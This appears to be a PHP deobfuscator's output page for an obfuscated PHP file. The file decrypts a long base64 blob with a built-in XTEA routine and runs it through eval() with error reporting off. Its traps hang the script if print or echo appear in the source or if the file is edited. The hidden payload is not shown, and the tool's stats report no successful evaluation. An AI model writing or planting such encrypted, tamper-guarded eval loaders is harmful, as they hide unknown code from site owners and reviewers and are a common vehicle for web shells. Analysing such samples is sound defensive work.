<?php  $m2118d22d991cc8bfb66304d5bd2ee973=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('088116101097'); $m6a4a7423907f51c2c734d4d465cc4547=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('116114105109'); $mdce2462bf288974f3cdad3ccf53bcfaa=NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('101110099114121112116'); $me570850cdc97d1d0b4000087eae8b8e8=new $m2118d22d991cc8bfb66304d5bd2ee973(NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi('100049050099100050052048102098052056049057049049056054052055048102053048048056052101057053048048'));error_reporting(0);eval($m6a4a7423907f51c2c734d4d465cc4547($me570850cdc97d1d0b4000087eae8b8e8->$mdce2462bf288974f3cdad3ccf53bcfaa("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")));class Xtea{ private $key; private $cbc = TRUE; function __construct($mb7d5f48227eab3385ddfff1e6a5d4cff){ $this->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); } public function check_implementation(){ $Xtea = new Xtea(""); $m0934c81c21fa520a8e3d6ce21dfd76c6 = array( array(array(0x00000000,0x00000000,0x00000000,0x00000000), array(0x41414141,0x41414141), array(0xed23375a,0x821a8c2d)), array(array(0x00010203,0x04050607,0x08090a0b,0x0c0d0e0f), array(0x41424344,0x45464748), array(0x497df3d0,0x72612cb5)), ); $m767c4d3425474ddf310892258136eae4 = true; foreach($m0934c81c21fa520a8e3d6ce21dfd76c6 AS $m22ccc35cc89f27579f7a4d252b7c3faa){ $mb7d5f48227eab3385ddfff1e6a5d4cff = $m22ccc35cc89f27579f7a4d252b7c3faa[0]; $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = $m22ccc35cc89f27579f7a4d252b7c3faa[1]; $m17a700bfdacd81b54034ba996377097e = $m22ccc35cc89f27579f7a4d252b7c3faa[2]; $Xtea->key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff); $mafefa4846b0ba586edb703328cc3a8e1 = $Xtea->block_encrypt($m22ccc35cc89f27579f7a4d252b7c3faa[1][0],$m22ccc35cc89f27579f7a4d252b7c3faa[1][1]); if((int)$mafefa4846b0ba586edb703328cc3a8e1[0] != (int)$m17a700bfdacd81b54034ba996377097e[0] || (int)$mafefa4846b0ba586edb703328cc3a8e1[1] != (int)$m17a700bfdacd81b54034ba996377097e[1]){ $m767c4d3425474ddf310892258136eae4 = false; } } return $m767c4d3425474ddf310892258136eae4; } public function encrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38 = array(); $m17a700bfdacd81b54034ba996377097e = $this->_str2long(base64_decode($m0e86eedd8faf8271732cd3bc8e683e43)); if($this->cbc){ $m86877db3fd52c024fabbc84075c443e6 = 2; }else{ $m86877db3fd52c024fabbc84075c443e6 = 0; } for($m86877db3fd52c024fabbc84075c443e6; $m86877db3fd52c024fabbc84075c443e6<count($m17a700bfdacd81b54034ba996377097e); $m86877db3fd52c024fabbc84075c443e6+=2){ $mafefa4846b0ba586edb703328cc3a8e1 = $this->block_decrypt($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6],$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6+1]); $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca);if(((strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('KSk7ZXJyb3JfcmVwb3J0aW5nKDApO2V2YWwoJG02YTRh'))!==false&&strpos($mce95254560d94d8c970c7839bbf898ca,base64_decode('JG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSA9IF9fRklMRV9fOyAkbWNlOTUyNTQ1NjBkOTRkOGM5NzBjNzgzOWJiZjg5OGNhID0gZmlsZV9nZXRfY29udGVudHMoJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSk7ICRtNzRmMWE2MzBkMjdhMjgzZjUxOWJiMmE0MTI0NmRhMGIgPSAwOyBwcmVnX21hdGNoKGJhc2U2NF9kZWNvZGUoJ0x5aHdjbWx1ZEh4emNISnBiblI4WldOb2J5a3YnKSwgJG1jZTk1MjU0NTYwZDk0ZDhjOTcwYzc4MzliYmY4OThjYSwgJG03NGYxYTYzMGQyN2EyODNmNTE5YmIyYTQxMjQ2ZGEwYik7IGlmIChjb3VudCgkbTc0ZjFhNjMwZDI3YTI4M2Y1MTliYjJhNDEyNDZkYTBiKSkgeyB3aGlsZSgweDQwMiE9MHg2MzApeyRzdHJibGQ9Y2hyKDkyNjg4KTt9fQ=='))!==false)?1:0)){ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = array($mafefa4846b0ba586edb703328cc3a8e1[0]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-2],$mafefa4846b0ba586edb703328cc3a8e1[1]^$m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6-1]); }else{ $m0d7d4a6c3a4b82a626f515a3e0ea2e38[] = $mafefa4846b0ba586edb703328cc3a8e1; } } $m60b877b22a3dec708aad4fa450932c26 = ''; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m0d7d4a6c3a4b82a626f515a3e0ea2e38); $m86877db3fd52c024fabbc84075c443e6++){ $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m0d7d4a6c3a4b82a626f515a3e0ea2e38[$m86877db3fd52c024fabbc84075c443e6][1]); } return rtrim($m60b877b22a3dec708aad4fa450932c26); } public function decrypt($m0e86eedd8faf8271732cd3bc8e683e43){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0e86eedd8faf8271732cd3bc8e683e43); if($mab71312595787e66bcb5b7c35af77e4d%8 != 0){ $m55d21969ac0b624fc95ab57939eddd88 = ($mab71312595787e66bcb5b7c35af77e4d+(8-($mab71312595787e66bcb5b7c35af77e4d%8))); }else{ $m55d21969ac0b624fc95ab57939eddd88 = 0; } $m0e86eedd8faf8271732cd3bc8e683e43 = str_pad($m0e86eedd8faf8271732cd3bc8e683e43, $m55d21969ac0b624fc95ab57939eddd88, ' '); $m0e86eedd8faf8271732cd3bc8e683e43 = $this->_str2long($m0e86eedd8faf8271732cd3bc8e683e43); if($this->cbc){ $m17a700bfdacd81b54034ba996377097e[0][0] = time(); $m17a700bfdacd81b54034ba996377097e[0][1] = (double)microtime()*1000000; } $m0762d87c77d4d992da267f5ee4c678b0 = 1; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m0e86eedd8faf8271732cd3bc8e683e43); $m86877db3fd52c024fabbc84075c443e6+=2){ if($this->cbc){ $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][0]; $m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1] ^= $m17a700bfdacd81b54034ba996377097e[$m0762d87c77d4d992da267f5ee4c678b0-1][1]; } $m17a700bfdacd81b54034ba996377097e[] = $this->block_encrypt($m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6],$m0e86eedd8faf8271732cd3bc8e683e43[$m86877db3fd52c024fabbc84075c443e6+1]); $m0762d87c77d4d992da267f5ee4c678b0++; } $m60b877b22a3dec708aad4fa450932c26 = ""; for($m86877db3fd52c024fabbc84075c443e6 = 0; $m86877db3fd52c024fabbc84075c443e6<count($m17a700bfdacd81b54034ba996377097e); $m86877db3fd52c024fabbc84075c443e6++){ $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][0]); $m60b877b22a3dec708aad4fa450932c26 .= $this->_long2str($m17a700bfdacd81b54034ba996377097e[$m86877db3fd52c024fabbc84075c443e6][1]); } return base64_encode($m60b877b22a3dec708aad4fa450932c26); } private function block_decrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; $m6aee867dee075285ea1dda8125bdef4c=0xC6EF3720; $mab71312595787e66bcb5b7c35af77e4d=32; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, -($this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3]))); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, -$mb5bdc679616af29554c1cefeb49684bc); $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, -($this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3]))); } return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function block_encrypt($md5b8e2674ed9278295ee915cbe3843dc, $m070a54ed0c9c83633803e151491f2729){ $m6aee867dee075285ea1dda8125bdef4c=0; $mb5bdc679616af29554c1cefeb49684bc=0x9e3779b9; for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<32; $m86877db3fd52c024fabbc84075c443e6++){ $md5b8e2674ed9278295ee915cbe3843dc = $this->_add($md5b8e2674ed9278295ee915cbe3843dc, $this->_add($m070a54ed0c9c83633803e151491f2729 << 4 ^ $this->_rshift($m070a54ed0c9c83633803e151491f2729, 5), $m070a54ed0c9c83633803e151491f2729) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$m6aee867dee075285ea1dda8125bdef4c & 3])); $m6aee867dee075285ea1dda8125bdef4c = $this->_add($m6aee867dee075285ea1dda8125bdef4c, $mb5bdc679616af29554c1cefeb49684bc); $m070a54ed0c9c83633803e151491f2729 = $this->_add($m070a54ed0c9c83633803e151491f2729, $this->_add($md5b8e2674ed9278295ee915cbe3843dc << 4 ^ $this->_rshift($md5b8e2674ed9278295ee915cbe3843dc, 5), $md5b8e2674ed9278295ee915cbe3843dc) ^ $this->_add($m6aee867dee075285ea1dda8125bdef4c, $this->key[$this->_rshift($m6aee867dee075285ea1dda8125bdef4c, 11) & 3])); } $m143358d7a4c39832d0fda7d6f8f1f406[0]=$md5b8e2674ed9278295ee915cbe3843dc; $m143358d7a4c39832d0fda7d6f8f1f406[1]=$m070a54ed0c9c83633803e151491f2729; return array($md5b8e2674ed9278295ee915cbe3843dc,$m070a54ed0c9c83633803e151491f2729); } private function key_setup($mb7d5f48227eab3385ddfff1e6a5d4cff){ if(is_array($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $mb7d5f48227eab3385ddfff1e6a5d4cff; }else if(isset($mb7d5f48227eab3385ddfff1e6a5d4cff) && !empty($mb7d5f48227eab3385ddfff1e6a5d4cff)){ $this->key = $this->_str2long(str_pad($mb7d5f48227eab3385ddfff1e6a5d4cff, 16, $mb7d5f48227eab3385ddfff1e6a5d4cff)); }else{ $this->key = array(0,0,0,0); } } private function _add($m77b053060c4fd6c2f76105adcd81a538, $m6b765d750a748862efef31f0dcc13fd6){ $m04eba2b9ac97e2a2dd31141a9a544484 = 0.0; foreach (func_get_args() as $mc777235eddedb8674a94a6a77945f32c){  if (0.0 > $mc777235eddedb8674a94a6a77945f32c){ $mc777235eddedb8674a94a6a77945f32c -= 1.0 + 0xffffffff; } $m04eba2b9ac97e2a2dd31141a9a544484 += $mc777235eddedb8674a94a6a77945f32c; } if (0xffffffff < $m04eba2b9ac97e2a2dd31141a9a544484 || -0xffffffff > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 = fmod($m04eba2b9ac97e2a2dd31141a9a544484, 0xffffffff + 1); } if (0x7fffffff < $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m04eba2b9ac97e2a2dd31141a9a544484){ $m04eba2b9ac97e2a2dd31141a9a544484 += 0xffffffff + 1.0; } return $m04eba2b9ac97e2a2dd31141a9a544484; } private function _long2str($m0a83fa7cf0ee62a83b981cd58bcfa970){ return pack('N', $m0a83fa7cf0ee62a83b981cd58bcfa970); } private function _rshift($m3780f0040767a132b5cfee79cde23eec, $mab71312595787e66bcb5b7c35af77e4d){ if (0xffffffff < $m3780f0040767a132b5cfee79cde23eec || -0xffffffff > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec = fmod($m3780f0040767a132b5cfee79cde23eec, 0xffffffff + 1); } if (0x7fffffff < $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec -= 0xffffffff + 1.0; }elseif (-0x80000000 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec += 0xffffffff + 1.0; } if (0 > $m3780f0040767a132b5cfee79cde23eec){ $m3780f0040767a132b5cfee79cde23eec &= 0x7fffffff; $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; $m3780f0040767a132b5cfee79cde23eec |= 1 << (31 - $mab71312595787e66bcb5b7c35af77e4d); }else{ $m3780f0040767a132b5cfee79cde23eec >>= $mab71312595787e66bcb5b7c35af77e4d; } return $m3780f0040767a132b5cfee79cde23eec; } private function _str2long($m0bc74e7a5c67648ac48e372f9ee01ef2){ $mab71312595787e66bcb5b7c35af77e4d = strlen($m0bc74e7a5c67648ac48e372f9ee01ef2); $m0ccf583ca40ed6f47351336bd86d17fc = unpack('N*', $m0bc74e7a5c67648ac48e372f9ee01ef2); $m4ebc5fc75b2ed8bc6cc358d63bcb8245 = array(); $mb11b9152b73fc2e33e62b4985db4d60f = 0; foreach ($m0ccf583ca40ed6f47351336bd86d17fc as $mc777235eddedb8674a94a6a77945f32c){ $m4ebc5fc75b2ed8bc6cc358d63bcb8245[$mb11b9152b73fc2e33e62b4985db4d60f++] = $mc777235eddedb8674a94a6a77945f32c; } return $m4ebc5fc75b2ed8bc6cc358d63bcb8245; } } function NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi($m74f51a33e1c412e4d00b78906d6e0c2f) { $m2118d22d991cc8bfb66304d5bd2ee973=""; $mebbc003b7fe27b2cf4dff8b7a332d39b = ''; $mce95254560d94d8c970c7839bbf898ca = __FILE__; $mce95254560d94d8c970c7839bbf898ca = file_get_contents($mce95254560d94d8c970c7839bbf898ca); $m74f1a630d27a283f519bb2a41246da0b = 0; preg_match(base64_decode('LyhwcmludHxzcHJpbnR8ZWNobykv'), $mce95254560d94d8c970c7839bbf898ca, $m74f1a630d27a283f519bb2a41246da0b); if (count($m74f1a630d27a283f519bb2a41246da0b)) { while(0x402!=0x630){$strbld=chr(92688);}} $m184966639caf361425b481dbebe88c5d = ceil(strlen($m74f51a33e1c412e4d00b78906d6e0c2f)/3)*3; $mf65300264d5b1d9370f2563e5e6ee006 = str_pad($m74f51a33e1c412e4d00b78906d6e0c2f,$m184966639caf361425b481dbebe88c5d,'0',STR_PAD_LEFT); for ($m86877db3fd52c024fabbc84075c443e6=0; $m86877db3fd52c024fabbc84075c443e6<(strlen($mf65300264d5b1d9370f2563e5e6ee006)/3); $m86877db3fd52c024fabbc84075c443e6++) { $mebbc003b7fe27b2cf4dff8b7a332d39b .= chr(substr(strval($mf65300264d5b1d9370f2563e5e6ee006), $m86877db3fd52c024fabbc84075c443e6*3, 3)); } return $mebbc003b7fe27b2cf4dff8b7a332d39b; } 
?>

Function Calls

NjPsGdcAGaCeIugtOjHGXemUdqPHYYCLi 1

Variables

None

Stats

MD5 584c0839ad728258b549bdc1725116e2
Eval Count 0
Decode Time 114 ms